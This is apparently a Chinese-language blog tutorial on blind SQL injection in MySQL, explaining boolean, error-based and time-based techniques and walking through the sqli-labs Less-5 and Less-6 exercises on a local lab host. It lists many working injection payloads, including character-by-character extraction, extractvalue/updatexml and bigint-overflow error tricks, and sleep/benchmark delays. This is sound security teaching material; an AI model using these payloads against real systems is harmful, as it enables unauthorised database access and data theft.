sqlilab之第二章盲注

38次阅读

共计 11400 个字符,预计需要花费 29 分钟才能阅读完成。

第二章 盲注

注意: 本文大部分内容都是参考 mysql 注入天书

学习篇

何为盲注?盲注 就是 在 sql 注入过程中, sql 语句执行的选择后, 选择的数据不能 回显 到前端页面. 此时, 我们需要利用一些方法进行判断或者尝试, 这个过程称之为 盲注 , 这种情况下往往需要 一个一个字符的去猜解, 需要用到截取字符串.

0x01 基于布尔 SQL 盲注

我们可以利用 逻辑判断 进行盲注, 而布尔注入能够利用的根本就是, 我们能够看到 true 和 false 返回页面内容不一致

因为不知道字段是怎样的, 因此只能一个字符一个字符的猜, 所以这里我们需要先学习字符串截取函数:left(), right(),substr(), substring(), mid(), 以及经常一起配套使用的 ascii 转换函数ascii(), ord(), 最后还有一些配合使用的 mysql 语句: IF(),IFNULL(),SELECT CASE WHEN

left()right()

语法如下:

left(string, n)
-- 得到字符串 string 左边 n 个字符

right(string, n)
-- 得到字符串 string 右边 n 个字符

一般地, 我们使用left(database(),1) > 'a', 查看数据库名第一位, left(database(),2) > 'ab', 查看数据库名前二位.

right()用法类似, 只不过方向反了 , 从后往前

substr(), substring(), mid()

substr(), substring(), mid()函数实现的功能是一样的, 均为 截取字符串 , 而且 用法相同

用法 1: substr(str, pos, len)
用法 2: substr(str FROM pos FOR len)
-- 从字符串 str 的第 pos 个字符串开始取, 只取 len 个字符
--str: 要处理的字符串
--pos: 开始的位置(初始值是 1)
--len: 截取的长度

ps: substr(str FROM pos FOR len)是应对 逗号 被过滤的情况

比方说, 从 abcde 的第二个字符开始取, 只取 3 个字符, 这里分别演示 substr(), substring()mid()函数

学习到这里, 基本可以应对一些简单的 bool 注入的情况了, 所以, 下面我大概讲一下 bool 的注入流程. 比如说, 原始的 sql 语句如下:

SELECT username FROM users WHERE id=1;

然后我们发现, 当注入 and 1=1 的时候, 页面返回正常, 注入 and 1=2 的时候页面返回不正常, 那么我们就可以初步判断为 bool 注入了

ps: 其实只要 true 和 false 返回的页面不同, 我们能够区别出来就行

这里假设我们想拿到它的数据库名称, 首先要拿到数据库长度, 因为知道数据库长度之后, 我们才知道什么时候停止注入

在实战中, 我们会使用substr(DATABASE(),1,1) > 'a', 查看数据库名第一位, substr(DATABASE(),2,1) , 查看数据库名第二位, 依次猜解各个字符.

ascii()ord()

在有些情况下, 引号可能被过滤, 所以这里需要将字符转换成 ascii, 也就是数字表示, 那就不需要引号括起来了

ascii()
-- 将第一个字符转换 为 ascii 值

ord()
-- 将第一个字符转换 为 ascii 值

ps: 两个函数都是只转换第一个字符. 两个函数唯一的区别是, ord()函数遇到多字节, 比如说汉字, 会将汉字转换成 ((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code...] 用 ascii 表示多字节字符代码 的这种形式

因此, 为了避免引号被过滤的问题, 我们通常会用下面的注入语句去盲注数据库

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101

然后用二分法来测试 ascii 码值, 然后再递增 substr(str, pos, len) 中的 pos 值, 即第一个字符找到后, 找第二个字符, 以此类推, 这里我们先拆开分析一下该注入语句

先查数据库中的第一个表的名字

然后用字符串截取函数, 得到该表的第一个字符

接着用 ascii() 函数将该字符转换成 ascii 码

最后就是穷举测试了, 当条件满足时:

当条件不满足时:

ps: 返回 1 和 0 代表 true 与 false, 在实战中, 两种结果的页面会不一致, 这个具体在下面实战中会具体讨论.

IF(),IFNULL(),SELECT CASE WHEN

IF()

IF()语法如下:

IF(expr1, expr2, expr3)
-- 如果 expr1 是 TRUE(expr1 <> 0 and expr2 <> NULL), 则 IF()的返回值为 expr2; 否则返回值则为 expr3.

IFNULL()CAST()

语法如下:

IFNULL(expr1,expr2)
-- 如果 `expr1` 不是 NULL, 则返回 `expr1`, 否则它返回 `expr2`. 

正常用法如下:

sql 注入的时候用法需要配合CAST(), 语法如下:

CAST(expression AS data_type)
-- 将 expression 转换为 data_type 这种数据类型
-- 我们常用的 data_type 是 CHAR 字符类型

接着配合我们之前学过的 ORD()MID()函数, 注入语句如下: 返回 第一个字符的 ASCII 码

SELECT ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM users LIMIT 0,1),1,1));

然后就是一步步的判断一下第一个字符的 ascii 码的区间, 以及同样操作判断第二个字符了

因为最后需要转换成 ascii, 所以中间需要 case 转换成 char, 不然是中文怎么办???

SELECT CASE WHEN

语法如下:

CAST WHEN condition THEN result [WHEN ...] [ELSE result] END
-- 类似于其他语言的 if/else 语句

例子如下:

通常结合 sleep() 函数使用

regexp 正则注入

如果这种单个字符的爆破无法使用, 也即是说, 字符串无法拆分, 这时候可以使用正则表达式

用法介绍

select user() regexp '^[a-z]';

正则表达式的用法, 假设 user() 结果为 root, regexp 后面接匹配 root 的正则表达式

第二位 可以用 select user() regexp '^ro'来进行. 如下图

当正确的时候显示结果为 1, 不正确的时候显示结果为 0

在 Mysql5+ 中, information_schema库中存储了所有的 库名 , 表名 以及 字段名 信息, 故攻击方式如下:

  1. 先判断第一个表名的第一个字符是否是 a-z 中的字符 , 其中security 是假设已知的库名.

    注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

  2. 接下来判断第一个字符是否是 a-e 中的字符

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-e]' LIMIT 0,1)/*

  3. 接下来确定该字符是e

    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^e' LIMIT 0,1) /*

  4. 接下来更换表达式:

    '^e[a-z]' -> '^em[a-z]' -> '^ema[a-z]' -> '^emai[a-z]' -> '^email[a-z]' -> '^emails[a-z]'-> FALSE

    这时说明表名为 emails , 要验证是否是该表明 正则表达式为'^emails$', 但是没这必要 直接判断 table_name = 'emails' 不就行了? 当然, 如果= 被过滤当我没说 …

    ps: 如何知道匹配结束了? 这里大部分根据一般的命名方式 (经验) 就可以判断. 但是如何你在无法判断的情况下, 可以用 table_name regexp '^emails$'来进行判断. ^是从开头进行匹配, $是从结尾开始判断.

  5. 接下来猜解其他表, 如假设我们知道其中包含 users 表, 则如下语句说明这样子是正确的

    ps: 注意: table_name 有好几个, 我们只得到了一个 emails, 如何知道其他的? 这里千万不能修改 limit 0,1(从你的表中的第 0 个数据开始, 只读取一个) 为limit 1,1, 因为limit 作用在前面的 select 语句中, 而不是 regexp. 其实在 regexp 中我们是取匹配 table_name 中的内容, 只要 table_name 中有的内 容, 我们用 regexp 都能够匹配到 , 因此我们在使用regexp 时, 要注意有可能有多个项, 同时要一个个字符去爆破. 因此上述语句不仅仅可以选择 emails, 还可以匹配其他项

以下是另外两种常用用法

select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^r');

like 匹配注入

和上述的正则类似, mysql 在匹配的时候我们可以用 like 进行匹配.

用法:

select user() like 'ro%'

0x02 基于报错的 SQL 盲注 —- 构造 payload 让信息通过错误提示回显出来

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

  1. 一是需要 concat 计数
  2. 二是 floor, 取得 0 or 1, 进行数据的 重复
  3. 三是 group by 进行分组, 具体原理大致为在进行 count 的时候, 插入了重复的 key
  • 以上语句可以简化成如下的形式.

    select count(*) from information_schema.tables group by concat(database(), floor(rand(0)*2));

  • 如果 关键的表 被禁用了, 可以使用这种形式

    select count(*) from (select 1 union select null union select !1)a group by concat(database(),floor(rand(0)*2));

  • 如果 rand 被禁用了可以使用 用户变量 来报错

    用户变量, 用 := 作分配符, 下面例子就是t1=t2+t3=4

    select min(@a:=1) from information_schema.tables group by concat(user(),@a:=(@a+1)%2)

select exp(~(select * FROM(SELECT USER())a))

double 数值类型超出范围, 具体原理如下:

  1. 当传递一个 大于 709的值时, 函数 exp() 就会引起一个溢出错误

  2. 0 按位取反会得到18446744073709551615

  3. mysql 函数执行成功则会返回 0, 我们将 成功执行的函数取反 就会得到最大的 无符号 BIGINT 值

  4. 综合上面三点, 我们 通过 子查询 与按位求反, 造成一个DOUBLE overflow error, 并借由此注出数据.

    select exp(~(select * from (select user())a));

  5. 接下来开始注入数据

    • 得到表名, 这里通过改变limit 0,1->limit 1,1->limit 2,1->limit 3,1-> limit 4,1->Finish 来获取不同的表

      select exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

    • 得到列名, 同样是改变 limit x,y 中的 x, 顺便提一下,x 代表从第几位开始,y代表长度

      select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

    • exp()为以 e 为底的对数函数; 版本在 5.5.5 及其以上

      select exp(~(select * from (select user())a));

select !(select * from (select user())x) -(ps: 这是减号) ~0

bigint 超出范围;~0 是对 0 逐位取反, 在 5.5.5 及其以上

  • 数据类型 BIGINT 的长度为 8 字节, 也就是说, 长度为 64 比特. 这种数据类型 最大的有符号值, 用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”. 当对这个值进行某些数值运算的时候, 比如加法运算, 就会引起“BIGINT value is out of range”错误.

  • 为了避免出现上面这样的错误, 我们只需将其转换为 无符号整数 即可. 对于无符号整数来说, BIGINT 可以存放的最大值用二进制、十六进制和十进制表示的话, 分别为“0b1111111111111111111111111111111111111111111111111111111111111111”、“0xFFFFFFFFFFFFFFFF”和“18446744073709551615”. 同样的, 如果对这个值进行数值表达式运算, 如加法或减法运算, 同样也会导致“BIGINT value is out of range”错误.

  • 上面讲到, 如果我们对数值 0 逐位取反 , 会得到一个 无符号的最大 BIGINT 值 , 这一点是显而易见的. 所以, 如果我们对~0 进行 加减运算 的话, 也 会导致 BIGINT 溢出错误.

ps: 实战中, 我们一般都是用 -, 很少用+, 因为+ 容易被浏览器认为是空格

  • 接下来就是核心: 利用子查询引起 BITINT 溢出, 从而设法提取数据 . 我们知道, 如果一个查询成功返回, 其返回值为 0, 所以对其进行 逻辑非 的话就会变成 1 , 举例来说, 如果我们对类似 (select * from (select user())x) 这样的查询进行逻辑非的话, 就会有:

  • 所以说, 只要我们能够 组合 逐位取反 逻辑取反 运算, 我们就能利用溢出错误来成功的注入查询

    select !(select * from (select user())x) - ~0;

  • 参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry…

extractvalue(1,concat(0x7e,(select @@version),0x7e))

语法如下:

extractvalue(目标 xml 文档, xml 路径)
-- 对 XML 文档进行查询的函数

第一个参数随便填, 第二个参数 xml 路径 才是可操作的地方, xml 文档中查找字符位置是用斜杠隔开 /xxx/xxx/xxx/…这种格式, 如果我们写入其他格式, 就会报错, 并且会返回我们写入的非法格式内容, 而这个非法的内容就是我们想要查询的内容.

正常查询 第二个参数的位置格式 为 /xxx/xxx/ , 即使查询不到也不会报错

SELECT username FROM users WHERE id=1 and (extractvalue('anything','/xxx/xxx'));

使用字符串连接符如 concat() 拼接 /, 效果和上面相同, 因为在 anything 中查询不到位置是 /database()的内容, 但同时也没有语法错误, 不会报错

SELECT username FROM users WHERE id=1 and (extractvalue('anything',concat('/',(SELECT database()))));

下面故意写入语法错误:

SELECT username FROM users WHERE id=1 and (extractvalue('anything',concat('~',(SELECT database()))));

可以看到, 因为以 ~ 开头的内容不是 xml 格式的语法, 因此会报错, 而且会显示无法识别的内容是什么

ps: extractvalue()能查询字符串的最大长度为 32, 就是说如果我们想要的结果超过 32, 就需要用字符串截取函数, 如 substr() 函数截取

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

updatexml()函数与 extractvalue() 类似, 是更新 xml 文档的函数.

语法如下:

updatexml(目标 xml 文档, xml 路径, 更新的内容)

同样地, 只需要关注第二个参数 –xml 路径, 用同样的方法进行报错即可

SELECT username FROM users WHERE id=1 and (updatexml('anything',concat('~',(SELECT database())),'anything'));

当然, 最大长度也是 32

0x03 基于时间的 SQL 盲注 —- 延时注入

sleep()

sleep()函数语法如下:

SLEEP(duration)
-- 睡眠 (暂停) 时间为 duration 参数给定的秒数, 然后返回 0. 若 SLEEP()被中断, 它会返回 1 

有了延迟函数之后, 我们通常需要配合 IF() 语句以及字符串截取函数, 如下:

SELECT * FROM users WHERE id=1 AND IF((substr((SELECT username FROM users WHERE id=1),1,1))='D',sleep(3),0);

可以看到, 正确则延迟了 3s, 不正确则立刻返回

benchmark()

语法如下:

benchmark(count, expr)
-- 重复执行 count 次表达式 expr, 结果值通常为 0 

因为函数执行次数比较大, 所以返回结果的时间比平时要长, 因此可以通过时间长短的变化, 判断语句是否执行成功

因此上面 sleep() 的例子可以修改成如下:

SELECT * FROM users WHERE id=1 AND IF((substr((SELECT username FROM users WHERE id=1),1,1))='D',benchmark(10000000, sha(1)),0);

数据库 延迟用的函数
mysql BENCHMARK(100000,MD5(1)) or sleep(5)
Postgresql PG_SLEEP(5) or GENERATE_SERIES(1,10000)
mssql WAITFOR DELAY '0:0:5'

实战篇

Less-5

这关正确的思路是盲注. 从源代码中可以看到, 运行返回结果正确的时候只返回 you are in...., 不会返回数据库当中的信息了, 所以我们提倡用盲注的方法解决

我们从这这一关开始学习盲注, 结合上面的知识点, 将上述能使用的 payload 展示一下使用方法.

bool 盲注

(1) 利用 left(database(),1) 进行尝试

查看一下 version(), 数据库的版本号为 5.5.44

然后使用如下语句看版本号的第一位是不是 5, 明显的返回的结果是正确的.

http://192.168.99.100:32769/Less-5/?id=1' and left(version(),1)=5%23

注意: 最后注释那里, 不直接用 #, 是因为# 被 Firefox 识别成了锚点, 所以要用 # 的 url 的编码 %23, 当然你也可以用--+ 做注释

当版本号不正确的时候, 则不能正确显示 you are in......

http://192.168.99.100:32769/Less-5/?id=1' and left(version(),1)=6%23

接下来看一下数据库的长度

http://192.168.99.100:32769/Less-5/?id=1' and length(database())=8%23

长度为 8 时, 返回正确结果, 说明长度为 8.

猜测数据库第一位

http://192.168.99.100:32769/Less-5/?id=1'and left(database(),1)>'a'%23

Database()security , 所以我们看他的第一位是否 > a, 很明显的是 s > a, 因此返回正确. 当我们不知情的情况下, 可以用二分法来提高注入的效率.

猜测数据库第二位

得知第一位为 s , 我们看前两位是否大于 sa

http://192.168.99.100:32769/Less-5/?id=1'and left(database(),2)>'sa'%23

接下来的操作同上面一样, 这里就不再重复了

(2) 利用 substr() ascii() 函数进行尝试

大概用法如下:

ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101

根据以上得知数据库名为 security , 那我们利用此方式获取 security 数据库下的表.

获取 security 数据库的 第一个表 第一个字符

http://192.168.99.100:32769/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

此处同样的使用二分法进行测试, 直到测试正确为止.

此处结果应该是 101, 因为第一个表示 email, e的 ascii 就是 101

如何获取 第一个表的第二位字符 呢?

这里我们已经了解了 substr() 函数, 这里使用 substr(,2,1) 即可.

那如何 获取第二个表 呢?

这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始, 获取第一个. 那要获取第二个是不是就是 limit 1,1

http://192.168.99.100:32769/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+

此处 113 返回是正确的, 因为第二个表示 referers 表, 所以第一位就是 r.

以后的过程就是不断的重复上面的, 这里就不重复造轮子了. 原理已经解释清楚了.

当你按照方法运行结束后, 就可以获取到所有的表的名字.

(3) 利用 regexp 获取 users 表中的列

查看 users 表中的列名是否有以 us开头 的列

http://192.168.99.100:32769/Less-5/?id=1'and 1=(select 1 from information_schema.columns where table_name='users'and column_name regexp'^us[a-z]' limit 0,1)--+

使用如下语句可以看到 username 存在. 我们可以将 username 换成 password 等其他的项也是正确的

http://192.168.99.100:32769/Less-5/?id=1'and 1=(select 1 from information_schema.columns where table_name='users'and column_name regexp'^username$' limit 0,1)--+

(4) 利用 ord()mid() 函数获取 users 表的内容

获取 users 表中的内容. 获取 username 中的第一行的第一个字符的 ascii, 与 68 进行比较, 即为D. 而我们从表中得知第一行的数据为 Dumb. 所以接下来只需要重复造轮子即可.

http://192.168.99.100:32769/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

报错注入

http://192.168.99.100:32769/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

利用 double 数值类型超出范围进行报错注入

http://192.168.99.100:32769/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

xpath 函数报错注入

http://192.168.99.100:32769/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

updatexml 函数报错注入

http://192.168.99.100:32769/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

利用数据的重复性

http://192.168.99.100:32769/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

延时注入

利用 sleep() 函数进行注入, 如下语句, 当错误的时候会有 5 秒的时间延时.

http://192.168.99.100:32769/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

利用 BENCHMARK()进行延时注入

http://192.168.99.100:32769/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

当结果正确的时候, 运行 ENCODE('MSG','by 5 seconds') 操作 50000000 次, 会占用一段时间.

至此, 我们已经将上述讲到的盲注的利用方法全部在 less5 中演示了一次. 在后续的关卡中, 将会挑一种进行演示, 其他的盲注方法请参考 less5.

Less-6

Less6 与 less5 的区别在于 less6 在 id 参数传到服务器时, 对 id 参数进行了处理. 这里可以从源代码中可以看到.

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

那我们在这一关的策略和 less5 的是一样的. 只需要将 ' 替换成 ".

这里我们演示其中一个 payload

http://192.168.99.100:32769/Less-5/?id=1"and left(version(),1)=5--+

正文完
 0